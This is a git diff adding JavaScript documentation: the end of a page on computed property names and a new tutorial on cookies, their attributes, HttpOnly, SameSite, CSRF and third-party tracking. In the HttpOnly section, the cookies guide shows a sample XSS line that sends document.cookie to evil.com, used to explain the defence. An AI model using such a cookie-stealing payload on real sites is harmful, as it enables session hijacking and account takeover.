+ The **key expression is evaluated first**, then the **value expression**. This happens for each property in left-to-right order.
+
+ ```javascript
+ let n = 0;
+ const obj = {
+ [++n]: n, // key: 1, value: 1
+ [++n]: n // key: 2, value: 2
+ };
+ // { '1': 1, '2': 2 }
+ ```
+
+ The `++n` in the key runs before `n` in the value is read, so they match.
+
+
+
+ **Answer:**
+
+ The object is converted to a string via its `toString()` method. By default, this returns `"[object Object]"`, which can cause unintended collisions:
+
+ ```javascript
+ const a = { id: 1 };
+ const b = { id: 2 };
+
+ const obj = {
+ [a]: 'first',
+ [b]: 'second' // Overwrites! Both → "[object Object]"
+ };
+
+ console.log(obj); // { '[object Object]': 'second' }
+ ```
+
+ Custom `toString()` methods can provide unique keys, but this pattern is error-prone. Use Symbols or string IDs instead.
+
+
+
+ **Answer:**
+
+ The shorthand and colon syntax only accept identifiers or string literals as property names. Writing `{ mySymbol: value }` creates a property named `"mySymbol"` (a string), not a Symbol-keyed property.
+
+ ```javascript
+ const sym = Symbol('id');
+
+ const wrong = { sym: 'value' };
+ console.log(Object.keys(wrong)); // ['sym'] - string key!
+
+ const right = { [sym]: 'value' };
+ console.log(Object.keys(right)); // [] - Symbol key is hidden
+ console.log(Object.getOwnPropertySymbols(right)); // [Symbol(id)]
+ ```
+
+ The `[sym]` syntax tells JavaScript to evaluate the variable and use the Symbol itself as the key.
+
+
+
+ **Answer:**
+
+ Use computed property syntax with method shorthand:
+
+ ```javascript
+ const action = 'processData';
+
+ const handler = {
+ [action](data) {
+ return data.map(x => x * 2);
+ },
+
+ // Generator method
+ *[`${action}Iterator`](data) {
+ for (const item of data) {
+ yield item * 2;
+ }
+ },
+
+ // Async method
+ async [`${action}Async`](url) {
+ const response = await fetch(url);
+ return response.json();
+ }
+ };
+
+ console.log(handler.processData([1, 2, 3])); // [2, 4, 6]
+ ```
+
+ This works with regular methods, generators (`*[name]()`), and async methods (`async [name]()`).
+
+
+
+ **Answer:**
+
+ Duplicate keys are allowed—the **last one wins** and overwrites previous values. No error is thrown:
+
+ ```javascript
+ const obj = {
+ ['x']: 1,
+ ['x']: 2,
+ x: 3
+ };
+
+ console.log(obj); // { x: 3 }
+ ```
+
+ This applies whether the duplicate comes from computed properties, static properties, or a mix. The same rule applies to the rest of JavaScript—later assignments overwrite earlier ones.
+
+
+
+---
+
+## Related Concepts
+
+
+
+ Overview of ES6+ features including destructuring, spread, arrow functions, and enhanced object literals.
+
+
+ Deep dive into Symbols, a primary use case for computed property keys in JavaScript.
+
+
+ Combine computed property names with get and set for dynamic accessor properties.
+
+
+ Control writable, enumerable, and configurable flags on your computed properties.
+
+
+ Iterate and transform objects using Object.keys(), entries(), and fromEntries().
+
+
+ Another ES6+ syntax feature for advanced string processing with template literals.
+
+
+
+---
+
+## References
+
+
+
+ Official MDN reference for object literals with a dedicated section on computed property names.
+
+
+ Understand bracket notation, the foundation for how computed property names work.
+
+
+ Comprehensive reference on Symbols, commonly used with computed property syntax.
+
+
+ Beginner guide covering object fundamentals and property access patterns.
+
+
+
+---
+
+## Articles
+
+
+
+ Excellent tutorial with a dedicated "Computed properties" section and interactive examples.
+
+
+ Mozilla Hacks article explaining Symbols and their use as computed property keys for iterables.
+
+
+ Dr. Axel Rauschmayer's deep technical analysis of computed property keys and ES6 object enhancements.
+
+
+ Focused practical article with before/after ES6 comparisons and real-world examples.
+
+
+
+---
+
+## Videos
+
+
+
+ Traversy Media's comprehensive ES6 coverage including enhanced object literals and computed properties.
+
+
+ The Net Ninja's series on modern JavaScript features with clear explanations of ES6 syntax.
+
+
+ Web Dev Simplified tutorials explaining ES6 features including object shorthand and computed properties.
+
+
+ Fireship's fast-paced explainers covering JavaScript syntax features and best practices.
+
+
diff --git a/docs/beyond/concepts/cookies.mdx b/docs/beyond/concepts/cookies.mdx
new file mode 100644
index 00000000..82104fc7
--- /dev/null
+++ b/docs/beyond/concepts/cookies.mdx
@@ -0,0 +1,1033 @@
+---
+title: "Cookies: Server-Accessible Browser Storage in JavaScript"
+sidebarTitle: "Cookies"
+description: "Learn JavaScript cookies. Understand how to read, write, and delete cookies, cookie attributes like HttpOnly and SameSite, and security best practices."
+---
+
+Why do websites "remember" you're logged in, even after closing your browser? How does that shopping cart persist across tabs? Why can some data survive for weeks while other data vanishes when you close a tab?
+
+```javascript
+// Set a cookie that remembers the user for 7 days
+document.cookie = "username=Alice; max-age=604800; path=/; secure; samesite=strict"
+
+// Read all cookies (returns a single string)
+console.log(document.cookie) // "username=Alice; theme=dark; lang=en"
+
+// The server also sees these cookies with every request!
+// Cookie: username=Alice; theme=dark; lang=en
+```
+
+The answer is **cookies**. They're the original browser storage mechanism, and unlike localStorage, cookies are automatically sent to the server with every HTTP request. This makes them essential for authentication, sessions, and any data the server needs to know about.
+
+
+**What you'll learn in this guide:**
+- What cookies are and how they differ from other storage
+- Reading, writing, and deleting cookies with JavaScript
+- Server-side cookies with the [`Set-Cookie`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie) header
+- Cookie attributes: `Expires`, `Max-Age`, `Path`, `Domain`
+- Security attributes: `Secure`, `HttpOnly`, `SameSite`
+- How to protect against XSS and CSRF attacks
+- First-party vs third-party cookies and privacy
+- The future of cookies: third-party deprecation and CHIPS
+- When to use cookies vs localStorage vs sessionStorage
+
+
+
+**Prerequisites:** This guide builds on your understanding of [HTTP and Fetch](/concepts/http-fetch) and [localStorage/sessionStorage](/beyond/concepts/localstorage-sessionstorage). Understanding HTTP requests and responses will help you grasp how cookies travel between browser and server.
+
+
+---
+
+## What are Cookies in JavaScript?
+
+**[Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies)** are small pieces of data (up to ~4KB) that websites store in the browser and automatically send to the server with every HTTP request. Unlike localStorage which stays in the browser, cookies bridge the gap between client and server, enabling features like user authentication, session management, and personalization that require the server to "remember" who you are.
+
+
+Cookies were invented by Lou Montulli at Netscape in 1994 to solve the problem of implementing a shopping cart. HTTP is stateless, meaning each request is independent. Cookies gave the web "memory."
+
+
+---
+
+## The Visitor Badge Analogy
+
+Think of cookies like a **visitor badge at an office building**:
+
+1. **First visit**: You arrive and sign in at reception. They give you a badge with your name and access level.
+2. **Moving around**: You wear the badge everywhere. Security guards (servers) can see it and know who you are without asking again.
+3. **Badge expiration**: Some badges expire at the end of the day (session cookies). Others are valid for a year (persistent cookies).
+4. **Restricted areas**: Some badges only work on certain floors (the `path` attribute).
+5. **Security features**: Some badges have photos that can't be photocopied (the `HttpOnly` attribute prevents JavaScript access).
+
+```
+┌─────────────────────────────────────────────────────────────────────────────┐
+│ HOW COOKIES TRAVEL │
+├─────────────────────────────────────────────────────────────────────────────┤
+│ │
+│ STEP 1: Browser requests a page │
+│ ───────────────────────────────── │
+│ │
+│ Browser ──────────────────────────────────────────────────────► Server │
+│ GET /login HTTP/1.1 │
+│ Host: example.com │
+│ │
+│ STEP 2: Server responds with Set-Cookie │
+│ ─────────────────────────────────────── │
+│ │
+│ Browser ◄────────────────────────────────────────────────────── Server │
+│ HTTP/1.1 200 OK │
+│ Set-Cookie: sessionId=abc123; HttpOnly; Secure │
+│ Set-Cookie: theme=dark; Max-Age=31536000 │
+│ │
+│ STEP 3: Browser stores cookies and sends them with EVERY request │
+│ ──────────────────────────────────────────────────────────────── │
+│ │
+│ Browser ──────────────────────────────────────────────────────► Server │
+│ GET /dashboard HTTP/1.1 │
+│ Host: example.com │
+│ Cookie: sessionId=abc123; theme=dark │
+│ │
+│ The server now knows who you are without you logging in again! │
+│ │
+└─────────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Setting Cookies with JavaScript
+
+The [`document.cookie`](https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie) property is how you read and write cookies in JavaScript. But it has a quirky API that surprises most developers.
+
+### Basic Cookie Syntax
+
+```javascript
+// Set a simple cookie
+document.cookie = "username=Alice"
+
+// Set a cookie with attributes
+document.cookie = "username=Alice; max-age=86400; path=/; secure"
+
+// Important: Each assignment sets ONE cookie, not all cookies!
+document.cookie = "theme=dark" // Adds another cookie
+document.cookie = "lang=en" // Adds yet another cookie
+```
+
+### The Quirky Nature of document.cookie
+
+Here's what surprises most developers: `document.cookie` is NOT a regular property. It's an [accessor property](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) with special getter and setter behavior:
+
+```javascript
+// Setting a cookie doesn't replace all cookies - it adds or updates ONE
+document.cookie = "a=1"
+document.cookie = "b=2"
+document.cookie = "c=3"
+
+// Reading returns ALL cookies as a single string
+console.log(document.cookie) // "a=1; b=2; c=3"
+
+// You can't get a single cookie directly - you get ALL of them
+// There's no document.cookie.a or document.cookie['a']
+```
+
+### Encoding Special Characters
+
+Cookie values can't contain semicolons, commas, or spaces without encoding:
+
+```javascript
+// Bad: This will break!
+document.cookie = "message=Hello, World!" // Comma and space cause issues
+
+// Good: Encode the value
+document.cookie = `message=${encodeURIComponent("Hello, World!")}`
+// Results in: message=Hello%2C%20World!
+
+// When reading, decode it back
+const value = decodeURIComponent(getCookie("message")) // "Hello, World!"
+```
+
+---
+
+## Reading Cookies
+
+Reading cookies requires parsing the `document.cookie` string. Here are practical helper functions:
+
+```javascript
+// Get a specific cookie by name
+function getCookie(name) {
+ const cookies = document.cookie.split("; ")
+ for (const cookie of cookies) {
+ const [cookieName, cookieValue] = cookie.split("=")
+ if (cookieName === name) {
+ return decodeURIComponent(cookieValue)
+ }
+ }
+ return null
+}
+
+// Usage
+const username = getCookie("username") // "Alice" or null
+```
+
+### A More Robust Parser
+
+```javascript
+// Parse all cookies into an object
+function parseCookies() {
+ return document.cookie
+ .split("; ")
+ .filter(Boolean) // Remove empty strings
+ .reduce((cookies, cookie) => {
+ const [name, ...valueParts] = cookie.split("=")
+ // Handle values that contain '=' signs
+ const value = valueParts.join("=")
+ cookies[name] = decodeURIComponent(value)
+ return cookies
+ }, {})
+}
+
+// Usage
+const cookies = parseCookies()
+console.log(cookies.username) // "Alice"
+console.log(cookies.theme) // "dark"
+```
+
+### Check If a Cookie Exists
+
+```javascript
+function hasCookie(name) {
+ return document.cookie
+ .split("; ")
+ .some(cookie => cookie.startsWith(`${name}=`))
+}
+
+// Usage
+if (hasCookie("sessionId")) {
+ console.log("User is logged in")
+}
+```
+
+---
+
+## Writing Cookies: A Complete Helper
+
+Here's a comprehensive cookie-setting function:
+
+```javascript
+function setCookie(name, value, options = {}) {
+ // Default options
+ const defaults = {
+ path: "/", // Available across the entire site
+ secure: true, // HTTPS only (recommended)
+ sameSite: "lax" // CSRF protection
+ }
+
+ const settings = { ...defaults, ...options }
+
+ // Start building the cookie string
+ let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`
+
+ // Add expiration
+ if (settings.maxAge !== undefined) {
+ cookieString += `; max-age=${settings.maxAge}`
+ } else if (settings.expires instanceof Date) {
+ cookieString += `; expires=${settings.expires.toUTCString()}`
+ }
+
+ // Add path
+ if (settings.path) {
+ cookieString += `; path=${settings.path}`
+ }
+
+ // Add domain (for sharing across subdomains)
+ if (settings.domain) {
+ cookieString += `; domain=${settings.domain}`
+ }
+
+ // Add security flags
+ if (settings.secure) {
+ cookieString += "; secure"
+ }
+
+ if (settings.sameSite) {
+ cookieString += `; samesite=${settings.sameSite}`
+ }
+
+ document.cookie = cookieString
+}
+
+// Usage examples
+setCookie("username", "Alice", { maxAge: 86400 }) // 1 day
+setCookie("preferences", JSON.stringify({ theme: "dark" })) // Store object
+setCookie("temp", "value", { maxAge: 0 }) // Delete immediately
+```
+
+---
+
+## Deleting Cookies
+
+There's no direct "delete" method for cookies. Instead, you set the cookie with an expiration in the past or `max-age=0`:
+
+```javascript
+function deleteCookie(name, options = {}) {
+ // Must use the same path and domain as when the cookie was set!
+ setCookie(name, "", {
+ ...options,
+ maxAge: 0 // Expire immediately
+ })
+}
+
+// Alternative: Set expiration to the past
+document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/"
+
+// Usage
+deleteCookie("username")
+deleteCookie("sessionId", { path: "/app" }) // Must match original path!
+```
+
+
+**Critical:** When deleting a cookie, you MUST use the same `path` and `domain` attributes as when it was set. If a cookie was set with `path=/app`, deleting it with `path=/` won't work!
+
+
+---
+
+## Server-Side Cookies with Set-Cookie
+
+While JavaScript can set cookies, servers have more control using the [`Set-Cookie`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie) HTTP header:
+
+```http
+HTTP/1.1 200 OK
+Content-Type: text/html
+Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600
+Set-Cookie: csrfToken=xyz789; Secure; SameSite=Strict; Max-Age=3600
+```
+
+### Node.js/Express Example
+
+```javascript
+const express = require("express")
+const app = express()
+
+app.post("/login", (req, res) => {
+ // After validating credentials...
+ const sessionId = generateSecureSessionId()
+
+ // Set a secure session cookie
+ res.cookie("sessionId", sessionId, {
+ httpOnly: true, // Can't be accessed by JavaScript!
+ secure: true, // HTTPS only
+ sameSite: "strict", // CSRF protection
+ maxAge: 3600000 // 1 hour in milliseconds
+ })
+
+ res.json({ success: true })
+})
+
+app.post("/logout", (req, res) => {
+ // Clear the session cookie
+ res.clearCookie("sessionId", {
+ httpOnly: true,
+ secure: true,
+ sameSite: "strict"
+ })
+
+ res.json({ success: true })
+})
+```
+
+### Why Server-Set Cookies?
+
+Servers can set cookies that JavaScript **cannot read or modify**:
+
+| Setter | Can Use HttpOnly? | JavaScript Access | Best For |
+|--------|------------------|-------------------|----------|
+| Server (`Set-Cookie`) | Yes | Blocked with HttpOnly | Session tokens, auth |
+| JavaScript (`document.cookie`) | No | Always accessible | UI preferences, non-sensitive data |
+
+---
+
+## Cookie Attributes Explained
+
+### Expires and Max-Age: Controlling Lifetime
+
+
+
+ ```javascript
+ // Expires in 1 hour (3600 seconds)
+ document.cookie = "token=abc; max-age=3600"
+
+ // Expires in 7 days
+ document.cookie = "remember=true; max-age=604800"
+
+ // Delete immediately (max-age=0 or negative)
+ document.cookie = "token=; max-age=0"
+ ```
+
+ **Why prefer `max-age`?** It's relative to now, not dependent on clock synchronization between client and server.
+
+
+ ```javascript
+ // Expires on a specific date (must be UTC string)
+ const expDate = new Date()
+ expDate.setTime(expDate.getTime() + 7 * 24 * 60 * 60 * 1000) // 7 days
+
+ document.cookie = `remember=true; expires=${expDate.toUTCString()}`
+ // expires=Sun, 12 Jan 2025 10:30:00 GMT
+
+ // Delete by setting past date
+ document.cookie = "token=; expires=Thu, 01 Jan 1970 00:00:00 GMT"
+ ```
+
+ **Caution:** `expires` depends on the client's clock, which may be wrong.
+
+
+ ```javascript
+ // No expires or max-age = session cookie
+ document.cookie = "tempData=xyz"
+
+ // This cookie is deleted when the browser closes
+ // (Though "session restore" features may keep it alive!)
+ ```
+
+
+
+### Path: URL Restriction
+
+The `path` attribute restricts which URLs the cookie is sent to:
+
+```javascript
+// Only sent to /app and below (/app/dashboard, /app/settings)
+document.cookie = "appToken=abc; path=/app"
+
+// Only sent to /admin and below
+document.cookie = "adminToken=xyz; path=/admin"
+
+// Sent everywhere on the site (default recommendation)
+document.cookie = "theme=dark; path=/"
+```
+
+```
+┌─────────────────────────────────────────────────────────────────────────────┐
+│ PATH ATTRIBUTE BEHAVIOR │
+├─────────────────────────────────────────────────────────────────────────────┤
+│ │
+│ Cookie: token=abc; path=/app │
+│ │
+│ / ✗ Cookie NOT sent │
+│ /about ✗ Cookie NOT sent │
+│ /app ✓ Cookie sent │
+│ /app/ ✓ Cookie sent │
+│ /app/dashboard ✓ Cookie sent │
+│ /app/settings ✓ Cookie sent │
+│ /application ✗ Cookie NOT sent (not a subpath!) │
+│ │
+└─────────────────────────────────────────────────────────────────────────────┘
+```
+
+
+**Security Note:** The `path` attribute is NOT a security feature! A malicious script on `/public` can still read cookies set for `/admin` by creating a hidden iframe. Use `HttpOnly` and proper authentication instead.
+
+
+### Domain: Subdomain Sharing
+
+The `domain` attribute controls which domains receive the cookie:
+
+```javascript
+// Default: Only sent to exact domain that set it
+document.cookie = "token=abc" // Only sent to www.example.com
+
+// Explicitly share with all subdomains
+document.cookie = "token=abc; domain=example.com"
+// Sent to: example.com, www.example.com, api.example.com, etc.
+```
+
+**Rules:**
+- You can only set `domain` to your current domain or a parent domain
+- You cannot set cookies for unrelated domains (security restriction)
+- Leading dots (`.example.com`) are ignored in modern browsers
+
+---
+
+## Security Attributes: Protecting Your Cookies
+
+### Secure: HTTPS Only
+
+```javascript
+// Only sent over HTTPS connections
+document.cookie = "sessionId=abc; secure"
+
+// Without 'secure', cookies can be intercepted on HTTP!
+```
+
+
+**Always use `secure` for any sensitive cookie.** Without it, cookies can be intercepted by attackers on public WiFi (man-in-the-middle attacks).
+
+
+### HttpOnly: Block JavaScript Access
+
+The `HttpOnly` attribute is critical for security, but JavaScript cannot set it:
+
+```http
+Set-Cookie: sessionId=abc123; HttpOnly; Secure
+```
+
+```javascript
+// This cookie is invisible to JavaScript!
+console.log(document.cookie) // sessionId won't appear
+
+// Attackers can't steal it via XSS:
+// new Image().src = "https://evil.com/steal?cookie=" + document.cookie
+// The sessionId won't be included!
+```
+
+**Why HttpOnly matters:**
+
+```
+┌─────────────────────────────────────────────────────────────────────────────┐
+│ XSS ATTACK WITHOUT HttpOnly │
+├─────────────────────────────────────────────────────────────────────────────┤
+│ │
+│ 1. Attacker injects malicious script into your site │
+│ 2. Script runs: new Image().src = "evil.com?c=" + document.cookie │
+│ 3. Attacker receives your session cookie! │
+│ 4. Attacker impersonates you and accesses your account │
+│ │
+│ WITH HttpOnly: │
+│ 1. Attacker injects malicious script │
+│ 2. Script runs: document.cookie doesn't include HttpOnly cookies! │
+│ 3. Attacker gets nothing sensitive │
+│ 4. Your session is protected │
+│ │
+└─────────────────────────────────────────────────────────────────────────────┘
+```
+
+### SameSite: CSRF Protection
+
+The [`SameSite`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#samesitesamesite-value) attribute controls when cookies are sent with cross-site requests:
+
+
+
+ ```javascript
+ document.cookie = "sessionId=abc; samesite=strict"
+ ```
+
+ **Behavior:** Cookie is NEVER sent with cross-site requests.
+
+ **Use case:** High-security cookies (banking, account management).
+
+ **Downside:** If a user clicks a link from their email to your site, they won't be logged in on that first request.
+
+
+ ```javascript
+ document.cookie = "sessionId=abc; samesite=lax"
+ ```
+
+ **Behavior:** Cookie is sent with top-level navigations (clicking links) but NOT with cross-site POST requests, images, or iframes.
+
+ **Use case:** General authentication cookies. Good balance of security and usability.
+
+ **Note:** This is the default in modern browsers if `SameSite` is not specified.
+
+
+ ```javascript
+ // Must include Secure when using SameSite=None!
+ document.cookie = "widgetId=abc; samesite=none; secure"
+ ```
+
+ **Behavior:** Cookie is sent with ALL requests, including cross-site.
+
+ **Use case:** Third-party cookies, embedded widgets, cross-site services.
+
+ **Requirement:** Must also have `Secure` attribute.
+
+
+
+**CSRF Attack Prevention:**
+
+```
+┌─────────────────────────────────────────────────────────────────────────────┐
+│ CSRF ATTACK SCENARIO │
+├─────────────────────────────────────────────────────────────────────────────┤
+│ │
+│ 1. You're logged into bank.com (session cookie stored) │
+│ 2. You visit evil.com which contains: │
+│ │
+│ │
+│ 3. WITHOUT SameSite: Your session cookie is sent, transfer succeeds! │
+│ 4. WITH SameSite=Strict or Lax: Cookie NOT sent, attack fails! │
+│ │
+└─────────────────────────────────────────────────────────────────────────────┘
+```
+
+### Cookie Prefixes: Extra Security
+
+Modern browsers support special cookie name prefixes that enforce security requirements:
+
+```http
+# __Secure- prefix: MUST have Secure attribute
+Set-Cookie: __Secure-sessionId=abc; Secure; Path=/
+
+# __Host- prefix: MUST have Secure, Path=/, and NO Domain
+Set-Cookie: __Host-sessionId=abc; Secure; Path=/
+```
+
+The `__Host-` prefix provides the strongest guarantees:
+- Can only be set from a secure (HTTPS) page
+- Must have `Secure` attribute
+- Must have `Path=/`
+- Cannot have a `Domain` attribute (bound to exact host)
+
+---
+
+## First-Party vs Third-Party Cookies
+
+### First-Party Cookies
+
+Cookies set by the website you're visiting:
+
+```javascript
+// On example.com
+document.cookie = "theme=dark" // First-party cookie
+```
+
+### Third-Party Cookies
+
+Cookies set by a different domain than the one you're visiting:
+
+```html
+
+
+
+
+```
+
+**How third-party tracking works:**
+
+```
+┌─────────────────────────────────────────────────────────────────────────────┐
+│ THIRD-PARTY COOKIE TRACKING │
+├─────────────────────────────────────────────────────────────────────────────┤
+│ │
+│ You visit site-a.com │
+│ ├── Page loads ads.tracker.com/pixel.gif │
+│ └── tracker.com sets cookie: userId=12345 │
+│ │
+│ Later, you visit site-b.com │
+│ ├── Page loads ads.tracker.com/pixel.gif │
+│ └── tracker.com receives cookie: userId=12345 │
+│ "Ah, this is the same person who visited site-a.com!" │
+│ │
+│ tracker.com now knows your browsing history across multiple sites │
+│ │
+└─────────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Third-Party Cookie Deprecation
+
+Major browsers are phasing out third-party cookies for privacy:
+
+| Browser | Status |
+|---------|--------|
+| Safari | Blocked by default since 2020 |
+| Firefox | Blocked by default in Enhanced Tracking Protection |
+| Chrome | Rolling out restrictions in 2024-2025 |
+
+### CHIPS: Partitioned Cookies
+
+For legitimate cross-site use cases (embedded widgets, federated login), browsers now support **Cookies Having Independent Partitioned State (CHIPS)**:
+
+```http
+Set-Cookie: __Host-widgetSession=abc; Secure; Path=/; Partitioned; SameSite=None
+```
+
+With `Partitioned`, the cookie is isolated per top-level site:
+
+```
+┌─────────────────────────────────────────────────────────────────────────────┐
+│ PARTITIONED COOKIES (CHIPS) │
+├─────────────────────────────────────────────────────────────────────────────┤
+│ │
+│ widget.com embedded in site-a.com │
+│ └── Cookie: widgetSession=abc (partitioned to site-a.com) │
+│ │
+│ widget.com embedded in site-b.com │
+│ └── Cookie: widgetSession=xyz (partitioned to site-b.com) │
+│ │
+│ These are DIFFERENT cookies! widget.com can't track across sites. │
+│ But it CAN maintain state within each embedding site. │
+│ │
+└─────────────────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## Cookies vs Web Storage: When to Use What
+
+| Feature | Cookies | localStorage | sessionStorage |
+|---------|---------|--------------|----------------|
+| **Size limit** | ~4KB per cookie | ~5-10MB | ~5-10MB |
+| **Sent to server** | Yes, automatically | No | No |
+| **Expiration** | Configurable | Never | Tab close |
+| **JavaScript access** | Yes (unless HttpOnly) | Yes | Yes |
+| **Survives browser close** | If persistent | Yes | No |
+| **Shared across tabs** | Yes | Yes | No |
+| **Best for** | Auth, server state | Large data, preferences | Temporary state |
+
+### Decision Guide
+
+
+
+ **Yes** → Use cookies (they're sent automatically with requests)
+
+ **No** → Consider Web Storage (doesn't add overhead to requests)
+
+
+
+ **Yes** → Use server-set cookies with `HttpOnly`, `Secure`, `SameSite`
+
+ **No** → JavaScript-set cookies or Web Storage are fine
+
+
+
+ **> 4KB** → Use localStorage or sessionStorage
+
+ **< 4KB** → Either works
+
+
+
+ **No, only this tab** → Use sessionStorage
+
+ **Yes** → Use cookies or localStorage
+
+
+
+---
+
+## Common Mistakes
+
+
+
+ ```javascript
+ // Bad: Special characters break the cookie
+ document.cookie = "query=search term with spaces"
+
+ // Good: Encode the value
+ document.cookie = `query=${encodeURIComponent("search term with spaces")}`
+ ```
+
+
+
+ ```javascript
+ // Cookie was set with:
+ document.cookie = "token=abc; path=/app"
+
+ // This WON'T delete it:
+ document.cookie = "token=; max-age=0" // Wrong! Default path is current page
+
+ // This WILL delete it:
+ document.cookie = "token=; max-age=0; path=/app" // Same path!
+ ```
+
+
+
+ ```javascript
+ // Dangerous: JavaScript can read this (XSS vulnerable)
+ document.cookie = "sessionToken=secret123"
+
+ // Better: Set from server with HttpOnly
+ // Set-Cookie: sessionToken=secret123; HttpOnly; Secure
+ ```
+
+
+
+ ```javascript
+ // Vulnerable to CSRF attacks
+ document.cookie = "authToken=abc; secure"
+
+ // Protected against CSRF
+ document.cookie = "authToken=abc; secure; samesite=strict"
+ ```
+
+
+
+ ```javascript
+ // Cookies have ~4KB limit. This might fail silently:
+ const hugeData = JSON.stringify(largeObject) // 10KB
+ document.cookie = `data=${hugeData}` // Silently truncated or rejected!
+
+ // For large data, use localStorage instead
+ localStorage.setItem("data", hugeData)
+ ```
+
+
+
+ ```javascript
+ // Every cookie is sent with EVERY request to that domain!
+ // 20 cookies × 100 bytes = 2KB extra per request
+
+ // For data that doesn't need to go to the server:
+ localStorage.setItem("uiState", JSON.stringify(state)) // Not sent!
+ ```
+
+
+
+---
+
+## Best Practices
+
+
+
+ ```javascript
+ // Good: Only sent over HTTPS
+ document.cookie = "sessionId=abc; secure; samesite=strict"
+
+ // Server-side (Express):
+ res.cookie("sessionId", token, { secure: true })
+ ```
+
+ This prevents cookies from being intercepted on insecure networks.
+
+
+
+ ```http
+ Set-Cookie: sessionId=abc; HttpOnly; Secure; SameSite=Strict
+ ```
+
+ JavaScript cannot read HttpOnly cookies, protecting them from XSS attacks.
+
+
+
+ ```javascript
+ // For session/auth cookies: Strict or Lax
+ document.cookie = "auth=token; samesite=strict; secure"
+
+ // For cross-site widgets: None (with Secure)
+ document.cookie = "widget=data; samesite=none; secure"
+ ```
+
+
+
+ ```javascript
+ // Bad: Storing lots of data in cookies
+ document.cookie = `userData=${JSON.stringify(entireUserProfile)}`
+
+ // Good: Store only an identifier, keep data server-side
+ document.cookie = "userId=12345; secure; samesite=strict"
+ // Server looks up full profile using userId
+ ```
+
+
+
+ ```javascript
+ // Bad: Session cookie (unclear lifetime)
+ document.cookie = "preference=dark"
+
+ // Good: Explicit lifetime
+ document.cookie = "preference=dark; max-age=31536000" // 1 year
+ ```
+
+
+
+ ```http
+ # Strongest security guarantees
+ Set-Cookie: __Host-sessionId=abc; Secure; Path=/
+
+ # Good security
+ Set-Cookie: __Secure-token=xyz; Secure; Path=/
+ ```
+
+
+
+---
+
+## Key Takeaways
+
+
+**The key things to remember about Cookies:**
+
+1. **Cookies are sent to the server** — Unlike localStorage, cookies automatically travel with every HTTP request to the same domain
+
+2. **~4KB limit per cookie** — For larger data, use localStorage or sessionStorage
+
+3. **Use `HttpOnly` for sensitive cookies** — Server-set cookies with HttpOnly can't be stolen via XSS attacks
+
+4. **Always use `Secure` for sensitive data** — Ensures cookies only travel over HTTPS
+
+5. **Use `SameSite` to prevent CSRF** — `Strict` or `Lax` block cross-site request forgery attacks
+
+6. **Path and domain must match for deletion** — Deleting a cookie requires the same path/domain as when it was set
+
+7. **Third-party cookies are being phased out** — Use partitioned cookies (CHIPS) for legitimate cross-site use cases
+
+8. **`document.cookie` is quirky** — Setting adds/updates one cookie; reading returns all cookies as a string
+
+9. **Encode special characters** — Use `encodeURIComponent()` for values with spaces, semicolons, or commas
+
+10. **Choose the right storage** — Cookies for server communication, localStorage for persistence, sessionStorage for temporary state
+
+
+---
+
+## Test Your Knowledge
+
+
+
+ **Session cookies** have no `Expires` or `Max-Age` attribute and are deleted when the browser closes.
+
+ **Persistent cookies** have an explicit expiration and survive browser restarts.
+
+ ```javascript
+ // Session cookie (deleted on browser close)
+ document.cookie = "tempId=abc"
+
+ // Persistent cookie (lasts 7 days)
+ document.cookie = "remember=true; max-age=604800"
+ ```
+
+ Note: Some browsers' "session restore" feature can resurrect session cookies!
+
+
+
+ `HttpOnly` is a security feature that prevents JavaScript from accessing the cookie via `document.cookie` or other APIs.
+
+ This protects against XSS (Cross-Site Scripting) attacks. If an attacker injects malicious JavaScript into your page, they can't steal session cookies that have `HttpOnly` set.
+
+ ```javascript
+ // If server set: Set-Cookie: session=abc; HttpOnly
+ console.log(document.cookie) // "session=abc" will NOT appear!
+ ```
+
+ The cookie still works—it's sent with requests—JavaScript just can't read it.
+
+
+
+ `SameSite=Strict` prevents the cookie from being sent with ANY cross-site request, including:
+
+ - Clicking a link from another site to your site
+ - Form submissions from other sites
+ - Images, iframes, or scripts loading from other sites
+
+ This provides strong CSRF protection but can affect usability—users clicking links from emails or other sites won't be logged in on the first request.
+
+ `SameSite=Lax` is often a better balance—it allows cookies on top-level navigation links but blocks them on POST requests and embedded resources.
+
+
+
+ Set the same cookie with `max-age=0` or an `expires` date in the past:
+
+ ```javascript
+ // Method 1: max-age=0
+ document.cookie = "username=; max-age=0; path=/"
+
+ // Method 2: expires in the past
+ document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/"
+ ```
+
+ **Critical:** You must use the same `path` and `domain` attributes as when the cookie was set!
+
+
+
+ **Use cookies when:**
+ - The server needs the data (authentication, session tokens)
+ - You need to set `HttpOnly` for security
+ - Data is small (< 4KB)
+
+ **Use localStorage when:**
+ - Data is client-side only (UI preferences)
+ - Data is large (> 4KB)
+ - You want to avoid adding overhead to HTTP requests
+
+ **Use sessionStorage when:**
+ - Data should only last for the current tab
+ - Data shouldn't be shared across tabs
+
+
+
+ Cookie prefixes are special naming conventions that browsers enforce:
+
+ - **`__Secure-`**: Cookie MUST have the `Secure` attribute
+ - **`__Host-`**: Cookie MUST have `Secure`, `Path=/`, and NO `Domain`
+
+ ```http
+ Set-Cookie: __Host-sessionId=abc; Secure; Path=/
+ ```
+
+ They provide defense-in-depth—even if there's a bug in your code, the browser enforces these security requirements. `__Host-` is the most restrictive, ensuring the cookie can only be set by and sent to the exact host.
+
+
+
+---
+
+## Related Concepts
+
+
+
+ Browser storage APIs for larger data that doesn't need to go to the server
+
+
+ Understanding HTTP requests and how cookies travel with them
+
+
+ Client-side database for complex data storage beyond cookies and localStorage
+
+
+ Handling errors when cookies fail or are blocked
+
+
+
+---
+
+## Reference
+
+
+
+ Comprehensive guide covering cookies from both server and browser perspectives. The authoritative resource for understanding cookie mechanics.
+
+
